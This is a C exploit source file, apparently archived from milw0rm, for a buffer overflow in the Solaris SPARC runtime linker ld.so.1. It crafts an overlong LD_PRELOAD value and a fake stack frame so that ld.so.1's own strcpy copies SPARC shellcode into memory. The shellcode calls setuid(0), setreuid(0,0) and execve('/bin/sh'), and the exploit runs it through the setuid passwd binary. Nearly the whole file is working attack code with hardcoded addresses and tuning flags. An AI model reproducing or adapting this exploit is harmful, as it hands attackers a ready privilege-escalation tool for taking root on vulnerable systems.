/* ############################# * ## ld.so.1 exploit (SPARC) ## * ############################# * [coded by: osker178 (bjr213 psu.edu)] * * Alright, so this exploits a fairly standard buffer * overflow in the default Solaris runtime linker (ld.so.1) * (discovery by Jouko Pynnonen) * Only real deviation here from the standard overflow * and return into libc scenario is that at the time that * overflow occurs, the libc object file has not been loaded; * so it's not really possible to return into a libc function. * However, this poses no real problem to us, as ld.so.1 * provides it's own ___cpy() functions which we can use to * move our shellcode into an appropriate place in memory. * * Some things to note: * * - obviously some of the pre-defined addresses will have to be changed * * - 1124-1128 bytes into our buffer provided to LD_PRELOAD we will end up * overwriting a char *; this is actually very helpful for locating where * the rest of our information is stored in memory, as this pointer * will be used to display another error message, showing us what string * is stored at the address we overwrote this pointer with. * * - ... eh, that's enough, just look at the code to figure the rest out */ #include #include #include #include #include #include #include #include #include char SPARC_sc[] = /* setuid(0) */ "\x90\x1b\xc0\x0f" /* xor %o7,%o7,%o0 */ "\x82\x10\x20\x17" /* mov 23,%g1 | 23 == SYS_setuid()*/ "\x91\xd0\x20\x08" /* ta 8 */ /* setreuid(0,0) - for me at least, these both had to be called */ "\x92\x1a\x40\x09" /* xor %o1,%o1,%o1 */ "\x82\x10\x20\xca" /* mov 202, %g1 | 202 == SYS_setreuid()*/ "\x91\xd0\x20\x08" /* ta 8 */ /* exec(/bin/sh) */ "\x21\x0b\xd8\x9a" /* sethi %hi(0x2f626800), %l0 */ "\xa0\x14\x21\x6e" /* or %l0, 0x16e, %l0 ! 0x2f62696e */ "\x23\x0b\xdc\xda" /* sethi %hi(0x2f736800), %l1 */ "\x90\x23\xa0\x10" /* sub %sp, 16, %o0 */ "\x92\x23\xa0\x08" /* sub %sp, 8, %o1 */ "\x94\x1b\x80\x0e" /* xor %sp, %sp, %o2 */ "\xe0\x3b\xbf\xf0" /* std %l0, [%sp - 16] */ "\xd0\x23\xbf\xf8" /* st %o0, [%sp - 8] */ "\xc0\x23\xbf\xfc" /* st %g0, [%sp - 4] */ "\x82\x10\x20\x3b" /* mov 59, %g1 | 59 = SYS_execve() */ "\x91\xd0\x20\x08" /* ta 8 */ ; const long FRAME_ADDR = 0xffbee938; const long SHELLCODE_ADDR = 0xffbef17a; const long DESTCPY_ADDR = 0xff3e7118; const long DEF_OFFSET = 0x20; const int ENV_STR_SIZE = 2048; const int FRAME_SIZE = 64; /* 8 %i regs and 8 %l regs */ const int DEF_FPAD_LEN = 4; const int REC_BUF_SIZE = 1456; char * get_ld_env(int buf_len, long offset); char * get_fake_frame(long offset); char * get_envs_str(char fill); unsigned long get_strcpy_addr(); /* ********************************************** * * ******************** MAIN ******************** * * ********************************************** */ int main(int argc, char **argv) { char *prog[3]; char *envs[7]; char opt; int buf_size = -1; int fpad_len = -1; long offset = -1; char *ld_pre_env = 0x0; char *fake_frame = 0x0; /* padding of sorts */ char *envs_str1 = 0x0; char *envs_str2 = 0x0; char *fpad_buf = 0x0; // ------------------------------------------------ // while((opt = getopt(argc, argv, "s:o:p:")) != -1) { switch(opt) { case 's': if(!optarg) { printf("-s needs size argument\n"); exit(0); } else buf_size = atoi(optarg); break; case 'o': if(!optarg) { printf("-o needs offset argument\n"); exit(0); } else offset = atol(optarg); break; case 'p': if(!optarg) { printf("-p needs pad length argument\n"); exit(0); } else { fpad_len = atoi(optarg); if(fpad_len < 0) fpad_len = 0; } break; default: printf("Usage: %s [-s size] [-o offset] [-p fpad_len]\n", argv[0]); exit(0); } argc -= optind; argv += optind; } printf("\n#######################################\n"); printf("# ld.so.1 LD_PRELOAD (SPARC) exploit #\n"); printf("# coded by: osker178 (bjr213@psu.edu) #\n"); printf("#######################################\n\n"); if(buf_size == -1) { printf("Using default/recommended buffer size of %d\n", REC_BUF_SIZE); buf_size = REC_BUF_SIZE; } else if(buf_size % 4) { buf_size = buf_size + (4 - (buf_size%4)); printf("WARNING: Rounding BUF_SIZE up to 0x%x (%d)\n", buf_size, buf_size); } if(offset == -1) { printf("Using default OFFSET of 0x%x (%d)\n", DEF_OFFSET, DEF_OFFSET); offset = DEF_OFFSET; } else if((FRAME_ADDR + offset) % 8) { offset = offset + (8 - (offset%8)); printf("WARNING: Rounding offset up to 0x%x (%d)\n", offset, offset); printf("(otherwise FRAME_ADDR would not be alligned correctly)\n"); } if(fpad_len == -1) { printf("Using default FPAD_LEN of 0x%x (%d)\n", DEF_FPAD_LEN, DEF_FPAD_LEN); fpad_len = DEF_FPAD_LEN; } // -------------------------------------------------- // ld_pre_env = get_ld_env(buf_size, offset); if(!ld_pre_env) exit(0); fake_frame = get_fake_frame(offset); if(!fake_frame) exit(0); envs_str1 = get_envs_str('1'); if(!envs_str1) exit(0); envs_str2 = get_envs_str('2'); if(!envs_str2) exit(0); // -------------------------------------------------- // fpad_buf = (char *)malloc(fpad_len+1); if(!fpad_buf) { perror("malloc"); exit(0); } memset(fpad_buf, 'F', fpad_len); fpad_buf[fpad_len] = '\0'; envs[0] = fpad_buf; envs[1] = fake_frame; envs[2] = envs_str1; envs[3] = SPARC_sc; envs[4] = envs_str2; envs[5] = ld_pre_env; envs[6] = NULL; prog[0] = "/usr/bin/passwd"; prog[1] = "passwd"; prog[2] = NULL; execve(prog[0], prog, envs); perror("execve"); return 0; } /* ********************************************** */ /* ********************************************** * * ***************** GET_LD_ENV ***************** * * ********************************************** */ char * get_ld_env(int buf_len, long offset) { long *lp; char *buf; char *ld_pre_env; unsigned long strcpy_ret; strcpy_ret = get_strcpy_addr(); if(!strcpy_ret) return 0; else printf("strcpy found at [0x%x]\n\n", strcpy_ret); /* * buf_size --> main requested length (rounded up to nearest factor of 4) * +FRAME_SIZE --> for the fake frame values (64 bytes worth) we will overwrite * +1 --> for the "/" character that must be appended in order to pass the strchr() * and strrchr() tests (see : from objdump -d /usr/lib/ld.so.1) * +1 --> '\0' obviously */ buf = (char *)malloc(buf_len + FRAME_SIZE + 1 + 1); if(!buf) { perror("malloc"); return 0; } memset(buf, 'A', buf_len); buf[0] = '/'; /* this is the location of the (char *) in ld.so.1 we are overwriting * -> use this to find the address of the environment * arguments (whatever value we write at this address * is what will be displayed in an error message * from ld.so.1 after the error message generated from * our insecure path provided in LD_PRELOAD) */ lp = (long *)(buf + 1124); *lp++ = FRAME_ADDR + offset; lp = (long *)(buf + buf_len); /* %l regs - as far as we're concerned, these * values don't matter (i've never * had a problem with them) */ *lp++ = 0x61616161; /* %l0 */ *lp++ = 0x62626262; /* %l1 */ *lp++ = 0x63636363; /* %l2 */ *lp++ = 0x64646464; /* %l3 */ *lp++ = 0x65656565; /* %l4 */ *lp++ = 0x66666666; /* %l5 */ *lp++ = 0x67676767; /* %l6 */ *lp++ = 0x68686868; /* %l7 */ /* %i regs */ *lp++ = 0x69696969; /* %i0 */ *lp++ = 0x70707070; /* %i1 */ *lp++ = 0x71717171; /* %i2 */ *lp++ = 0x72727272; /* %i3 */ *lp++ = 0x73737373; /* %i4 */ *lp++ = 0x74747474; /* %i5 */ *lp++ = FRAME_ADDR + offset; /* our fake frame/%i6 */ *lp = strcpy_ret; /* ret address/%i7 */ strcat(buf, "/"); /* put together our LD_PRELOAD buffer */ ld_pre_env = (char *)malloc(strlen(buf) + strlen("LD_PRELOAD=") + 1); if(!ld_pre_env) { perror("malloc"); return 0; } strcpy(ld_pre_env, "LD_PRELOAD="); strcat(ld_pre_env + strlen(ld_pre_env), buf); free(buf); return ld_pre_env; } /* ********************************************** * * *************** GET_FAKE_FRAME *************** * * ********************************************** */ char * get_fake_frame(long offset) { long destcpy_addr; long *lp; char *frame = (char *)malloc(FRAME_SIZE + 1); if(!frame) { perror("malloc"); return 0; } /* this worked for me; may have to adjust though * - can easily find a good place by using gdb and pmap */ destcpy_addr = get_strcpy_addr() + 0x17000; lp = (long *)frame; /* %l regs - values don't matter */ *lp++ = 0x42454746; /* %l0 <- == "BEGF", use this to help locate frame's address */ *lp++ = 0xdeaddead; /* %l1 */ *lp++ = 0xdeaddead; /* %l2 */ *lp++ = 0xdeaddead; /* %l3 */ *lp++ = 0xdeaddead; /* %l4 */ *lp++ = 0xdeaddead; /* %l5 */ *lp++ = 0xdeaddead; /* %l6 */ *lp++ = 0xdeaddead; /* %l7 */ /* %i regs */ *lp++ = destcpy_addr; /* %i0 - DESTINATION ADDRESS for ___cpy() */ *lp++ = (SHELLCODE_ADDR + offset); /* %i1 - SOURCE ADDRESS for ___cpy() */ *lp++ = 0xdeaddead; /* %i2 - size*/ *lp++ = 0xdeaddead; /* %i3 */ *lp++ = 0xdeaddead; /* %i4 */ *lp++ = 0xdeaddead; /* %i5 */ *lp++ = destcpy_addr+0x200; /* saved frame pointer/%i6(sp) */ *lp++ = destcpy_addr-0x8; /* %i7 */ *lp++ = 0x0; return frame; } /* ********************************************** * * **************** GET_ENVS_STR **************** * * ********************************************** */ char * get_envs_str(char fill) { char *envs_str = (char *)malloc(ENV_STR_SIZE + 1); if(!envs_str) { perror("malloc"); return 0; } memset(envs_str, fill, ENV_STR_SIZE); envs_str[0] = 'b'; // \ envs_str[1] = 'e'; // --- help find where we are in memory/in relation to other env variables */ envs_str[2] = 'g'; // / envs_str[ENV_STR_SIZE] = '\0'; return envs_str; } /* ********************************************** * * *************** GET_STRCPY_ADDR ************** * * ********************************************** */ unsigned long get_strcpy_addr() { void *handle; Link_map *lm; unsigned long addr; if((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlmopen"); return 0; } if((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); return 0; } if((addr = (unsigned long)dlsym(handle, "strcpy")) == NULL) { perror("dlsym"); return 0; } /* -4 to skip save and use * our fake frame instead */ addr -= 4; /* make sure addr doesn't contain any 0x00 bytes, * or '/' characters (as this is where strcpy will * cutoff in ld.so.1) */ if( !(addr & 0xFF) || !(addr & 0xFF00) || !(addr & 0xFF0000) || !(addr & 0xFF000000) || ((addr & 0xFF) == 0x2f) || ((addr & 0xFF00) == 0x2f) || ((addr & 0xFF0000) == 0x2f) || ((addr & 0xFF000000) == 0x2f) ) { printf("ERROR: strcpy address (0x%x) contains unusable bytes somewhere.\n", addr); printf(" -> consider using strncpy, memcpy, or another similar substitute instead.\n"); return 0; } return addr; } // milw0rm.com [2003-10-27]

Query Builder